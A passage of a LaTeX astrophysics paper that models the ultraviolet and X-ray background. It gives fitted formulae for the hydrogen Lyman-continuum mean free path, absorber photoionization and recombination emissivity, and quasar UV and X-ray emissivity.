an equivalent width of 0.24 \AA\ (corresponding to a column of $10^{13.87}\,\,{\rm cm^{-2}}$ for $b=32\,\,{\rm km\,s^{-1}}$).
We derive $(A,\beta,\gamma)=(1.73\times 10^8,1.5,0.16)$ for $10^{11}<N_{\rm HI}<10^{15}\,\,{\rm cm^{-2}}$ and
$(A,\beta,\gamma)=(5.49\times 10^{15},2,0.16)$ for $10^{15}<N_{\rm HI}<10^{17.5}\,\,{\rm cm^{-2}}$ at all redshifts
below $z_{\rm low}=1.56$. We use a broken power-law for the redshift distribution of the SLLSs and DLAs as well; assuming that the
same $\gamma=0.16$ slope and transition redshift $z_{\rm low}$ inferred for the forest also hold in the case of the thicker absorbers, we
derive a normalization at $z<z_{\rm low}$ of $A=1.28$ for the SLLSs and $A=2.47\times 10^{19}$ for the DLAs.
This yields $dN/dz=0.74$ absorbers above $N_{\rm HI}=10^{17.2}\,\,{\rm cm^{-2}}$ at $\langle z\rangle =0.69$, in agreement
with the value measured by Stengler-Larrea {et al.\ } (1995), $dN/dz=0.70\pm 0.2$.
\item Above $z=5.5$, the spectra of the highest redshift quasars known show an accelerated evolution in the Ly$\alpha$\
opacity of the IGM, $\bar\tau_\alpha=2.68[(1+z)/6.5]^{10.9}$ (Fan {et al.\ } 2006b), indicating a sharp increase in
in the average neutrality of the universe. This can be mimicked by assuming for the forest
the values $(A,\beta,\gamma)=(29.5,1.5,9.9)$ ($10^{11}<N_{\rm HI}<10^{15}\,\,{\rm cm^{-2}}$) and
$(A,\beta,\gamma)=(9.35\times 10^8,2,9.9)$ ($10^{15}<N_{\rm HI}<10^{17.5}\,\,{\rm cm^{-2}}$) above redshift 5.5.
\end{itemize}
\begin{figure}[thb]
\centering
\vspace{-0.8cm}
\includegraphics*[width=0.47\textwidth]{fig2a.ps}
\includegraphics*[width=0.47\textwidth]{fig2b.ps}
\caption{\footnotesize {\it Left:} The predicted proper mean free path at 1 ryd ({\it solid line})
together with the measurements of Prochaska {et al.\ } (2009) ({\it crosses}).
{\it Right:} Evolution of the observed effective Ly$\alpha$\ optical depth,
$-\ln \langle \cal{T} \rangle$, where $\cal{T}$ is the transmitted flux ratio. Data points are from
Schaye {et al.\ } (2003; {\it red filled circles}), Songaila (2004; {\it magenta empty squares}),
Faucher-Gigu\`ere {et al.\ } (2008b; {\it green filled squares}), and Fan {et al.\ } (2006b; {\it blue filled circles}).
The solid line shows the Ly$\alpha$\ opacity, $\bar\tau_\alpha$, predicted by equations (\ref{taui}) (for
$n=2$) and (\ref{eq:ladis}), and using a curve-of-growth analysis corresponding
to a Doppler parameter $b=32\,\,{\rm km\,s^{-1}}$.
}
\vspace{+0.5cm}
\label{fig2}
\end{figure}
The parameters of the adopted distribution of intergalactic absorbers are summarized in Table 1.
\subsection{Mean free path of hydrogen-ionizing radiation}
Inserting our $f(N_{\rm HI},z)$ in equation (\ref{tauC}), we can compute the (proper) LyC mean free
path for 1 ryd photons as
\begin{equation}
\lambda^{912}_{\rm mfp}=c|dt/dz|\times {dz\over d\bar\tau_c}\vert_{\nu=\nu_{912}}.
\end{equation}
This is plotted in the left panel of Figure \ref{fig2} in the redshift range 3.5-4.5.
At $z=3.5$, the major contributors to the LyC opacity are, in order of decreasing magnitude,
the high column-density Ly$\alpha$\ forest ($10^{15}<N_{\rm HI}<10^{17.5}\,\,{\rm cm^{-2}}$, 32\%), the SLLSs (28\%), the LLSs (20\%), the
low column-density Ly$\alpha$\ forest ($N_{\rm HI}<10^{15}\,\,{\rm cm^{-2}}$, 12\%), and the DLAs (8\%).
A new method to directly measure the IGM LyC opacity along quasar sight lines has been recently presented by
Prochaska, Worseck, \& O'Meara (2009). The approach analyzes the ``stacked" spectrum of 1,800 quasars
drawn from the {\it Sloan Digital Sky Survey (SDSS)} to
give an empirical determination of the mean free path $\lambda_{\rm mfp}^{912}$. Our new
opacity model agrees very well with the measurements of Prochaska {et al.\ } (2009), and produces a continuum
opacity that is approximately half of that adopted in Paper II. The right panel of the same figure
shows how our model also provides a good fit to the Ly$\alpha$\ quasar transmission data over
the entire redshift range $2 \mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} z \mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 6$.
For a single population of absorbers described by equation (\ref{eq:ladis}), the mean free path scales with frequency and redshift
as $\lambda_{\rm mfp}(\nu,z)\propto (\nu/\nu_{912})^{3(\beta-1)} H^{-1}/(1+z)^{\gamma+1}$. Given the multi-component distribution
summarized in Table 1, we can readily compute the mean free path of ionizing radiation in the range $13.6 \leq h\nu<48.4$ eV under
the assumption that \hbox{He~$\scriptstyle\rm I$}\ continuum absorption at energies above $24.2$ eV can be neglected (photons between 48.4 and 54.4 eV are
reprocessed by \hbox{He~$\scriptstyle\rm II$}\ Lyman series resonance absorption, see \S~\ref{sec:sawtooth}).
For ease of use in analytical calculations, we fit our numerical results for the mean free path as
\begin{equation}
\lambda_{\rm mfp}(\nu,z)=c|dt/dz|\Delta z=c|dt/dz| A(s)(1+z)^{\gamma(s)}
\label{eq:deltazfit}
\end{equation}
where $s\equiv \nu/\nu_{912}$. Both the normalization $A(s)$ and the exponent $\gamma(s)$ are well fit by third order polynomials of the form
\begin{equation}
[A(s),\gamma(s)]=p_3(s^3-1)+p_2(s^2-1)+p_1(s-1)+p_0.
\end{equation}
Numerical values of the best-fit polynomial coefficients are given in Table 2: the fitting function is adjusted to be continuous in value
at the redshifts where it changes slope. As discussed above, the fit is only valid in the
range $1\leq s \leq 3.56$. Close to the hydrogen Lyman edge, and at early
enough epochs, only ``local" radiation sources -- sources within a mean free path of a few tens of Mpc -- contribute to the
ionizing background intensity, and one can neglect cosmological effects such as source
evolution and frequency shifts. In this ``source-function" approximation, $4\pi J_{912}(z)\approx \epsilon_{912}(z)\,
\lambda_{\rm mfp}^{912}(z)$.
\begin{table}[h]
\caption{Fitting parameters for the hydrogen LyC mean free path}
\centering
\begin{tabular}{lccccc}
\hline\hline
$$ & parameter & $p_3$ & $p_2$ & $p_1$ & $p_0$ \\
\hline
$$&$A$& 0.0509 & -0.406 & 1.167 & 1.076\\
$0<z<1.56$ & $\gamma$ & 0. & 0. & 0. & -0.160\\
$1.56<z<5.5$ & $\gamma$ & 0.0593& -0.519& 1.586& -2.104\\
$z>5.5$ & $\gamma$ & 0.122& -1.356& 5.998& -8.423\\
\hline
\end{tabular}
\label{tab:mfpHI}
\end{table}
\section{Photoionization structure of absorption systems} \label{sec:pho}
The ionization state of individual absorbers enters in calculations of the \hbox{He~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ opacities and of the
continuum and line recombination radiation from hydrogen and helium. Under the assumption of photoionization equilibrium
(generally accurate for quasar absorbers, see Paper II), in a pure H/He gas illuminated by
a local radiation intensity ${\cal J}_\nu$, the ion fractions $Y_{\rm HI}$, $Y_{\rm HeI}$, and $Y_{\rm HeII}$ can be written
in implicit form as
\begin{equation}
Y_{\rm HI}=(1+R_{\rm HI})^{-1};~~~~~Y_{\rm HeI}=(1+R_{\rm HeI}+R_{\rm HeI}R_{\rm HeII})^{-1};~~~~~
Y_{\rm HeII}=R_{\rm HeI}(1+R_{\rm HeI}+R_{\rm HeI}R_{\rm HeII})^{-1},
\label{eq:phot}
\end{equation}
where
\begin{equation}
R_i\equiv \frac{\Gamma_i}{n_e\alpha_i},
\end{equation}
$\Gamma_i$ is the photoionization rate of species $i\in \{$\hbox{H~$\scriptstyle\rm I$}, \hbox{He~$\scriptstyle\rm I$}, \hbox{He~$\scriptstyle\rm II$}$\}$,
\begin{equation}
\Gamma_i\equiv \int{d\nu\,\frac{4\pi {\cal J}_{\nu}}{h\nu}\sigma_i(\nu)},
\end{equation}
and $\alpha_i$ is the (case A) recombination coefficient to all atomic levels of species $i$. The recombination
rate of the next ionization state $i+1$ (e.g., if $i$ is \hbox{H~$\scriptstyle\rm I$}\ then $i+1$ is \hbox{H~$\scriptstyle\rm II$})
is $n_en_{i+1}\alpha_i$, where the electron number density $n_e$ is
\begin{equation}
n_e=n_{\rm H}(1-Y_{\rm HI})+n_{\rm He}Y_{\rm HeII}+2n_{\rm He}(1-Y_{\rm HeI}-Y_{\rm HeII}).
\end{equation}
In the case of a highly ionized medium with $R_{\rm HI}$, $R_{\rm HeI}$, $R_{\rm HeII} \gg 1$, the densities of
\hbox{He~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ can be expressed in terms of the \hbox{H~$\scriptstyle\rm I$}\ density as
\begin{equation}
\frac{n_{\rm HeI}}{n_{\rm HI}}\simeq \frac{n_{\rm He}}{n_{\rm H}}\,\frac{R_{\rm HI}}{R_{\rm HeI}R_{\rm HeII}}
\label{eq:zetathin}
\end{equation}
and
\begin{equation}
\frac{n_{\rm HeII}}{n_{\rm HI}} \simeq \frac{n_{\rm He}}{n_{\rm H}}\,\frac{R_{\rm HI}}{R_{\rm HeII}}.
\label{eq:etathin}
\end{equation}
For optically thin systems, the above relations with ${\cal J}_\nu=J_\nu$ clearly give the ratio between the column
densities of different ions. Note how the quantity
\begin{equation}
\eta\equiv N_{\rm HeII}/ N_{\rm HI}
\end{equation}
is independent on gas density only as long as the optically thin approximation holds, while the ratio
\begin{equation}
\zeta \equiv N_{\rm HeI} /N_{\rm HI}
\end{equation}
is always density dependent.
\subsection{Slab approximation and fitting formulae}
An iterative solution to the equations of cosmological radiative transfer that included a detailed numerical calculation of the
ionization and temperature structure of individual absorbers at every timestep would be a very computing-intensive task.
To properly treat the self-shielding of LyC radiation, in Paper II we modeled absorbers as semi-infinite slabs,
developed a ``steplike'' approximation to the function $\eta(N_{\rm HI})$, and used an analytical escape probability formalism
to include the recombination emission from absorbers. Fardal, Giroux, \& Shull (1998) solved the local radiative transfer problem
via an integral equation (the Milne solution
for a gray atmosphere) for the number of photoionizations at any optical depth in a given slab. They also
devised an approximation formula to $\eta$ that closely followed the numerical results. Faucher-Gigu\`ere {et al.\ } (2009)
have recently generalized the treatment of Fardal {et al.\ } (1998) and applied a similar fitting formula to the
results of a code that self-consistently solves the photoionization equilibrium balance, including the influence of recombination
radiation. Here, we follow a similar method: under the assumption of Jeans length thickness for the absorbers, we solve the ionization
and thermal structure of a slab of finite width illuminated by an external isotropic radiation field $J_\nu$, and derive analytical
approximations for the ratios $\eta$ and $\zeta$ as a function of $N_{\rm HI}$. Details of our calculations are provided in the Appendix.
We parameterize the external
background flux as a power-law, $J_\nu=J_{912}(\nu/\nu_{912})^{-\alpha}$, and as in Faucher-Gigu\`ere {et al.\ } (2009) divide
the intensity above 54.4 eV by a factor of 10 to mimic a cosmological UV filtered spectrum.
Figure \ref{fig:eta22} shows the resulting ratios $\eta(N_{\rm HI})$ and $\zeta(N_{\rm HI})$ for a range of input spectra and for the
representative intensity value at 1 ryd of $10^{-22}\,\,{\rm ergs\,cm^{-2}\,s^{-1}\,Hz^{-1}\,sr^{-1}}$. The function $\eta$ remains constant at low \hbox{H~$\scriptstyle\rm I$}\ columns, as long as the
optically thin approximation holds. As the neutral hydrogen column increases, the slab first becomes optically thick to \hbox{He~$\scriptstyle\rm II$}-ionizing radiation,
and $\eta$ increases. Slabs with even larger columns become optically thick to \hbox{H~$\scriptstyle\rm I$}\ LyC: they are characterized by a highly ionized
surface layer and an almost fully neutral core. This is the reason for the rapid decrease of
$\eta$ after the peak, and the consequent trend of $\zeta$ toward the neutral limit, $\zeta \rightarrow n_{\rm He}/n_{\rm H}$.
As in Fardal {et al.\ } (1998) and Faucher-Gigu\`ere et al. (2009), we calculate the column $N_{\rm HeII}$ from the equation
\begin{equation}
\frac{n_{\rm He}}{4 n_{\rm H}}\,\frac{\tau_{912}}{1+A\tau_{912}}R_{{\rm HI}}\,=\, \tau_{228}\,+\, \frac{\tau_{228}}{1+B\tau_{288}}R_{{\rm HeII}},
\label{eq:fardal}
\end{equation}
where $\tau_{912}\equiv N_{\rm HI} \sigma_{912}$, $\tau_{228}\equiv N_{\rm HeII} \sigma_{228}$, and $A$ and $B$ are constants fitted to
our numerical results. To make use of the above expression, one must further specify the ionization rates $\Gamma_i$ to be used in the $R_i$ terms
together with a relation between electron density and $N_{\rm HI}$. It is in this second step that our approach differs from
that of Faucher-Gigu\`ere et al. (2009). These authors used the optically thin limit for $\Gamma_i$, which provides a poor
approximation to the numerical results.
Here, we first compute the ionization rates in the optically thin limit,
\begin{equation}
\Gamma^{\rm thin}_i\equiv \int{d\nu\,\frac{4\pi J_{\nu}}{h\nu}\sigma_i(\nu)},
\end{equation}
and derive $\eta^{\rm thin}$ using equation (\ref{eq:etathin}). For a given (input value) of $\tau_{\rm HI}$, we then
calculate $\tau^{\rm thin}_{\rm HeII}$. We then write a first-order approximation to the \hbox{He~$\scriptstyle\rm II$}\ ionization rate at the face of the slab,
\begin{equation}
\Gamma^{\rm abs}_{\rm HeII}=\int{d\nu\, \frac{4\pi J_\nu}{h\nu} {\rm e}^{-\tau^{\rm thin}_{\rm HeII}(\nu)}\, \sigma_{\rm HeII}(\nu)}.
\end{equation}
The analogous expression for \hbox{H~$\scriptstyle\rm I$}\ is
\begin{equation}
\Gamma^{\rm abs}_{\rm HI}=\int{d\nu\, \frac{4\pi J_\nu}{h\nu} {\rm e}^{-\tau_{\rm HI}(\nu)}\, \sigma_{\rm HI}(\nu)}.
\end{equation}
Finally, we compute the $R_i$ factors for \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ in equation (\ref{eq:fardal}) as
\begin{equation}
R_i=\frac{0.5\Gamma_i^{\rm thin}+0.5\Gamma_i^{\rm abs}}{n_e\alpha_i}.
\end{equation}
The recombination rates depend on the gas temperature. We found that our numerical results can be fit with the simple scaling
\begin{equation}
T=(2\times 10^4\,~{\rm K})\, J_{912,-22}^{0.1},
\end{equation}
where $J_{912,-22}\equiv J_{912}/10^{-22}\,\,{\rm ergs\,cm^{-2}\,s^{-1}\,Hz^{-1}\,sr^{-1}}$, is adequate for our purposes. The weak dependence on $J$ is
related to the fact that, for $\log N_{\rm HI}\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 16$, cooling is largely provided by collisionally-excited line radiation rather than by
recombinations. With this simplified treatment, we have been able to fit the numerically obtained values of $\eta$ for a broad range
of input spectra. The best-fit curves shown in the left panel of Figure ~\ref{fig:eta22} have been obtained taking $A=0.02$ and $B=0.25$
in equation (\ref{eq:fardal}), and
\begin{equation}
n_e=3.0\times 10^{-3}{\rm cm}^{-3}\,(N_{{\rm HI},17.2})^{2/3}\,(\Gamma^{\rm thin}_{{\rm HI},-12})^{2/3}
\end{equation}
for the electron density. Here, $N_{{\rm HI},17.2}\equiv N_{\rm HI}/10^{17.2}\,{\rm cm}^{-2}$ and
$\Gamma^{\rm thin}_{{\rm HI},-12}\equiv \Gamma^{\rm thin}_{{\rm HI}}/10^{-12}\,{\rm s}^{-1}$. The above relation can be derived assuming Jeans length thickness for the absorbers and optically thin photoionization equilibrium
(Schaye 2001; see also Faucher-Gigu\`ere et al. 2009).
A simple approximation for $\zeta$ can be also derived, once $\eta$ is obtained. We use equation (\ref{eq:zetathin}), $\zeta=\eta/R_{\rm HeI}$, with
$\Gamma_{\rm HeI}=\Gamma^{\rm thin}_{\rm HeI}$ for $N_{\rm HI} \mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 10^{19}$ cm$^{-2}$. At larger columns we apply a linear (in log space)
extrapolation to the limiting vale $\zeta \rightarrow n_{\rm He}/n_{\rm H}$ assumed to be reached at $N_{\rm HI}=10^{22}$ cm$^{-2}$.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig3a.ps}
\includegraphics*[width=0.47\textwidth]{fig3b.ps}
\caption{\footnotesize {\it Left panel}: The ratio $\eta=N_{\rm HeII}/N_{\rm HI}$ as a function of $N_{\rm HI}$
at redshift 3. The illuminating spectrum has intensity $J_\nu=J_{912}(\nu/\nu_{912})^{-\alpha}$, with $J_{912,-22}=1$
and, from bottom to top, spectral slopes $\alpha=0,\, 1,\, 2$, with a break of a factor of 10 at 54.4 eV. {\it Solid curves:}
full numerical photoionization calculations. {\it Dashed curves:} our analytical approximations for $\eta$
based on equation (\ref{eq:fardal}). {\it Dotted curves:} optically thin limit.
{\it Right panel}: same for $\zeta=N_{\rm HeI}/N_{\rm HI}$.}
\label{fig:eta22}
\vspace{+0.5cm}
\end{figure}
\section{Recombination emissivity}
In \S~2 we have seen how background photons absorbed through a Lyman series resonance cause a radiative cascade that
ultimately terminates either in a Ly$\alpha$ photon or in two-photon $2s \rightarrow 1s$ continuum decay.
In this section we use the detailed photoionization structure of absorbing systems to
calculate the reprocessing of background LyC radiation by the clumpy IGM via atomic recombination processes. We
include recombinations from the continuum to the ground state of \hbox{H~$\scriptstyle\rm I$}, \hbox{He~$\scriptstyle\rm I$}, and \hbox{He~$\scriptstyle\rm II$}, as well as \hbox{He~$\scriptstyle\rm II$}\ Balmer, two-photon, and
Ly$\alpha$\ emission. Using the formalism developed in the Appendix, the recombination flux at the slab surface,
%
\begin{equation}
F_\nu=\int{d\Omega\, \mu I_\nu (0,\mu)},
\end{equation}
can be written as
\begin{equation}
F_\nu=\frac{1}{2}\int_0^L{dx j_\nu(x)}\,\int_0^1{d\mu\, {\rm e}^{-\tau_\nu(x)/\mu}}\,=\,
\frac{1}{2}\int_0^L{dx\,j_\nu(x)E_2(\tau_\nu(x))}.
\label{eq:recflux}
\end{equation}
The emission coefficient from a generic recombination process,
\begin{equation}
j_\nu(x)\equiv h\nu\,\phi_\nu\, \alpha_r\, n_e(x)\,n_{i+1}(x)\,=h\nu\,\phi_\nu\,\frac{\alpha_r}{\alpha_i}\,n_i(x)\,\Gamma_i(x),
\label{eq:recrad}
\end{equation}
where $\phi_\nu$ is the normalized emission profile and $\alpha_r$ is the relevant recombination coefficient, is
proportional to the density of species $i$, times the rate at which it absorbs ionizing photons ($\Gamma_i$), times
the fraction of recombinations that lead to the radiative transition under consideration (the ratio $\alpha_r/\alpha_i$).
The emission profile of free-bound recombination radiation can be computed via the Milne detailed-balance relation, which relates the velocity-dependent
recombination cross section to the photoionization cross section, while a delta-function profile is sufficient for bound-bound transitions.
The cosmological proper recombination emissivity for the relevant recombination process can then be computed by integrating over the distribution of absorbers,
\begin{equation}
\epsilon_\nu(z)=2|dz/cdt| \int_0^{\infty}\, dN_{\rm HI}\, f(N_{\rm HI},z) F_\nu(N_{\rm HI}),
\end{equation}
where the factor 2 accounts for the two surfaces of a slab. Using equations (\ref{eq:recflux})
and (\ref{eq:recrad}), and denoting with $N_i=\int_0^L n_idx$ the species $i$ column density of
the absorber, the recombination emissivity becomes
\begin{equation}
\epsilon_\nu(z)=|dz/cdt| h\nu\,\phi_\nu\,\frac{\alpha_r}{\alpha_i}\,\int_0^{\infty}\, dN_{\rm HI}\, f(N_{\rm HI},z)
\int_0^{N_i(N_{\rm HI})}{dN'_i\,\Gamma_i(N'_i) E_2(\tau_\nu(N'_i))}.
\label{eq:recemiss}
\end{equation}
As with the ionization and thermal structure of individual absorbers, it is not practical to perform a self-consistent, iterative,
numerical evaluation of the recombination emissivity at every timestep in the cosmological code. To derive a simple analytical formula
to the emergent radiation from absorbers, we make use of the fact the number of ionizing incident photons that are absorbed
saturates in the optically thick regime, and approximate the second integral on the rhs of equation (\ref{eq:recemiss}) as (cf. Faucher-Gigu\`ere {et al.\ } 2009)
\begin{equation}
I(N_i)\equiv \int_0^{N_i}{dN'_i\, \Gamma(N'_i)E_2(\tau_\nu(N'_i))}\approx \left(0.5\Gamma_i^{\rm thin}+0.5\Gamma_i^{\rm abs}\right)\,N_T \,
\left(1-{\rm e}^{-N_i/N_T}\right).
\label{eq:recapx}
\end{equation}
Here $N_T$ is the column density of ion $i$ above which the recombination emission saturates. As shown in Figure \ref{fig:rec}, the above formula
works especially well in the case of LyC recombination re-emission from \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}, where self-absorption
by the emitting ion dominates the local reprocessing of recombination radiation. Our best-fit parameters to the full numerical results for \hbox{H~$\scriptstyle\rm I$}, \hbox{He~$\scriptstyle\rm I$}, and
\hbox{He~$\scriptstyle\rm II$}\ LyC recombinations are $N_T=6.5\times 10^{16}\,(\nu/\nu_{912})^{1.5}\,\,{\rm cm^{-2}}$, $N_T=1.2\times 10^{16}\,(\nu/\nu_{504})^{1.5}\,\,{\rm cm^{-2}}$,
and $N_T=2.3\times 10^{17}\,(\nu/\nu_{228})^{1.5}\,\,{\rm cm^{-2}}$, respectively. (In the case of non-ionizing \hbox{H~$\scriptstyle\rm I$}\ recombination Ly$\alpha$\ and
two-photon emission, we find $N_T=6.5\times 10^{17}\,\,{\rm cm^{-2}}$.)
The emergent recombination flux from \hbox{He~$\scriptstyle\rm II$}\ BalC, two-photon, and Ly$\alpha$\ depends on the helium (emission) as well as hydrogen (absorption) ionization structure.
With the adopted column density distribution, however, recombinations into \hbox{He~$\scriptstyle\rm II$}\ are dominated by absorbers in the range of columns
$10^{15}\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} N_{\rm HI} \mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 10^{16}$ cm $^{-2}$: in these systems, \hbox{H~$\scriptstyle\rm I$}\ absorption can be neglected and a simple approximation can be
found by setting $N_T=2.3\times 10^{18}$ cm$^{-2}$. The fit at large \hbox{H~$\scriptstyle\rm I$}\ columns is actually improved by multiplying the rhs of equation (\ref{eq:recapx}) by
$\exp[-{\rm min}(\tau_{912},1.3)](\nu_{912}/\nu)^{0.6}$. A comparison between the results of the full numerical integration of the local radiative transfer
equation and our analytical approximations to the recombination radiation from \hbox{He~$\scriptstyle\rm II$}\ BalC, two-photon, and Ly$\alpha$\ are shown in the right
panel of Figure \ref{fig:rec}. Note that, in our calculations, we have again assumed that \hbox{He~$\scriptstyle\rm II$}\ Ly$\alpha$\ photons diffuse into the wings
and then escape subject only to continuum absorption.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig4a.ps}
\includegraphics*[width=0.47\textwidth]{fig4b.ps}
\caption{\footnotesize {\it Left panel:} LyC recombination radiation from quasar absorbers as a function of $N_{\rm HI}$. The points depict the results
of the full numerical integration of the local radiative transfer equation, while the lines show our analytical approximations (eq.~\ref{eq:recapx}).
{\it Green squares:} \hbox{H~$\scriptstyle\rm I$}\ LyC at 912 \AA. {\it Blue triangles:} \hbox{He~$\scriptstyle\rm II$}\ LyC at 228 \AA. {\it Red circles:} \hbox{He~$\scriptstyle\rm I$}\ LyC at 504 \AA.
The quantity plotted is the integral $I(N_i)$ (eq.~\ref{eq:recapx}) multiplied by $N_{\rm HI} f(N_{\rm HI} ,z)$ (eq.~\ref{eq:ladis}) at $z=3$, showing
the contribution of optically thin and optically thick absorbers to the LyC emissivity. For this comparison we assumed an illuminating
spectrum with $J_{912,-22}=1$ and spectral slope $\alpha=1$, with a break of a factor of 10 at 54.4 eV.
{\it Right panel}: same as left panel, but for recombination re-emission from \hbox{He~$\scriptstyle\rm II$}\ BalC at 13.6 eV ({\it blue squares}), Ly$\alpha$\ at 40.8 eV ({\it
green triangles}), and two-photon continuum at 20.4 eV ({\it red circles}).
}
\label{fig:rec}
\vspace{+0.6cm}
\end{figure}
\section{Quasar UV emissivity}
The only sources of ionizing radiation included in CUBA are star-forming galaxies and quasars. For the quasar comoving emissivity at 1 ryd,
$\epsilon_{912}(z)/(1+z)^3$, we use the function
\begin{equation}
{\epsilon_{912}(z)\over (1+z)^3}=(10^{24.6}\,\,{\rm ergs\,s^{-1}\,Mpc^{-3}\,Hz^{-1}})\,(1+z)^{4.68}\,{\exp(-0.28z)\over \exp(1.77z)+26.3},
\label{eqemiss}
\end{equation}
which closely fits the results of Hopkins, Richards, \& Hernquist (2007) in the redshift interval $1<z<5$. The UV SED is given by the
broken power-law
\begin{equation}
L_\nu \propto \begin{cases} \nu^{-0.44} & (\lambda> 1300\,{\rm \AA});\\
\nu^{-1.57} & (\lambda < 1300\,{\rm \AA})
\end{cases}
\label{eq:LUV}
\end{equation}
(Vanden Berk {et al.\ } 2001; Telfer {et al.\ } 2002).
\begin{figure}[thb]
\centering
\includegraphics*[width=0.6\textwidth]{fig5.ps}
\caption{\footnotesize Quasar comoving emissivity at 2 keV ({\it dashed line}) and 10 keV ({\it solid line})
in units of $10^{23}\,\,{\rm ergs\,s^{-1}\,Mpc^{-3}\,Hz^{-1}}$. The latter has been computed following Ueda {et al.\ } (2003) and Silverman {et al.\ } (2008),
the former using the procedure outlined in Section \ref{sec:obscuration}.
}
\label{fig5}
\vspace{+0.5cm}
\end{figure}
\section{Quasar X-ray emissivity}
The extrapolation of the steep UV power-law in equation (\ref{eq:LUV}) to higher energies is unable to reproduce the
X-ray properties of the quasar population as a whole, as recorded in the cosmic X-ray background (XRB). The XRB may play a unique role in
regulating the thermodynamics and ionization degree of intergalactic absorbers. In a photoionized IGM,
soft X-rays between 0.5 and 0.9 keV are responsible for the highest ionization states of metals like carbon, nitrogen, and oxygen.
At early epochs, X-rays penetrate regions that are optically thick to UV radiation, providing a source of heating and ionization.
They could make the IGM warm and weakly ionized prior to the era of reionization breakthrough (e.g., Oh 2001; Venkatesan, Giroux, \& Shull 2001;
Madau {et al.\ } 2004; Ricotti \& Ostriker 2004; Kuhlen \& Madau 2005). Compton scattering of hard XRB photons may be a source of heating for
highly ionized low-density intergalactic gas (Madau \& Efstathiou 1999).
Deep X-ray surveys aided by optical identification programs have shown that the bulk of the XRB is produced by a mixture of unobscured
``Type 1" and obscured ``Type 2" AGNs (Mushotzky {et al.\ } 2000; Giacconi {et al.\ } 2001), as predicted by XRB synthesis models constructed
within the framework of AGN unification schemes
(e.g., Setti \& Woltjer 1989; Madau, Ghisellini, \& Fabian 1994; Comastri {et al.\ } 1995; Gilli, Comastri, \& Hasinger 2007). Here, we compute
the total X-ray emissivity from Type 1 and Type 2 AGNs following a modern version of the original approach by Madau {et al.\ } (1994).
\subsection{Intrinsic hard X-ray luminosity function}
According to Ueda {et al.\ } (2003), who combined various surveys from the {\it HEAO 1}, {\it ASCA} and {\it Chandra} satellites, the hard 2-10 keV quasar
luminosity function (HXLF) follows a luminosity-dependent density evolution with a cutoff redshift (above which the evolution stops) that increases
with luminosity. At the present epoch, the intrinsic (i.e., before absorption) HXLF of all AGNs (including both Type 1's and Type 2's) is best
represented by
\begin{equation}
\phi(L,0)={\phi_*/L_*\over (L/L_*)^{1.86}+(L/L_*)^{3.23}}
\label{eq:phiX}
\end{equation}
in the luminosity range $10^{41.5}-10^{46.5}\,\,{\rm ergs\,s^{-1}}$, where $\phi_*=2190$ Gpc$^{-3}$ and
$L_*=10^{43.94}\,\,{\rm ergs\,s^{-1}}$. This changes with cosmic time (for redshift up to 3) as
\begin{equation}
\phi(L,z)=\phi(L,0)\,e(z,L),
\end{equation}
where the evolution factor is
\begin{equation}
e(z,L)=\begin{cases} (1+z)^{e_1} & (z<z_c);\\
e(z_c)\left(\frac{1+z}{1+z_c}\right)^{e_2} & (z\geq z_c)
\end{cases}
\end{equation}
and
\begin{equation}
z_c(L)=\begin{cases} z_c^* & (L\geq L_a);\\
z_c^*(L/L_a)^{0.335} & (L<L_a).
\end{cases}
\end{equation}
Here, $e_1=4.23$, $e_2=-1.5$, $z_c^*=1.9$, and $L_a=10^{44.6}\,\,{\rm ergs\,s^{-1}}$ (Ueda {et al.\ } 2003).
An extension of the HXLF up to $z\sim 5$ by Silverman et al. (2008) shows a steeper decline in the number of
$z>3$ AGNs with an evolution rate similar to that found by studies of optically-selected QSOs. The new fit requires
a much stronger evolution above the cutoff redshift, $e_2=-3.27$, than previously found by Ueda {et al.\ } (2003, $e_2=-1.5$). In the
following, we shall use Ueda {et al.\ } (2003) HXLF best fit parameters together with the Silverman {et al.\ } (2008) value for $e_2$.
For the intrinsic spectrum before absorption, we assume the standard power-law multiplied by an exponential,
\begin{equation}
S_E\propto E^{-\alpha}\exp\left(-{E\over E_c}\right),
\end{equation}
with $\alpha=0.9$ (Nandra \& Pounds 1994). The high-energy cutoff, $E_c=460\,$keV, is fixed by the shape of
the XRB turnover above 30 keV. These seed photons are then reflected towards the observer by a semi-infinite cold disk
close to the primary emitter. This reflection component, commonly detected in the X-ray spectra of nearby Seyfert galaxies (Nandra \& Pounds
1994), is comparable to the direct flux around 30 keV, decreases rapidly towards lower energies, and flattens the
overall spectral slope above 10 keV (Lightman \& White 1988).
\subsection{AGN emissivity after absorption}
\label{sec:obscuration}
According to the AGN unification scheme, obscuring matter at a distance of several parsecs
from the central powerhouse blocks our line of sight to the active nucleus. When our
view is unobscured, we see a Type 1 AGN; when our view is occulted, photons of all energies from the far IR to
several keV are absorbed, and in these bands we can only detect the nucleus in scattered light. Ueda {et al.\ } (2003) found
the following expression for the observed (normalized) distribution of absorbing $N_{\rm H}$ columns:
\begin{equation}
f(L,N_{\rm H})=
\begin{cases}
2-(5+2\epsilon)/(1+\epsilon)\,\psi & (20.0\leq \log{N_{\rm H}} < 20.5),\\
1/(1+\epsilon)\,\psi & (20.5\leq \log{N_{\rm H}}<23.0),\\
\epsilon/(1+\epsilon)\,\psi & (23.0\leq \log{N_{\rm H}}<24),
\end{cases}
\label{eq:nhdistr}
\end{equation}
where the parameter
\begin{equation}
\psi(L)={\rm min}\{\psi_{\rm max},{\rm max}[\psi_{44}-\beta(\log{L}-44),\,0]\}
\end{equation}
accounts for the fact that the fraction of absorbed sources is smaller at higher luminosities.
Here, $\psi_{\rm max}=(1+\epsilon)/(3+\epsilon)$, $\epsilon=1.7$, $\psi_{44}=0.47$, $\beta=0.1$, and
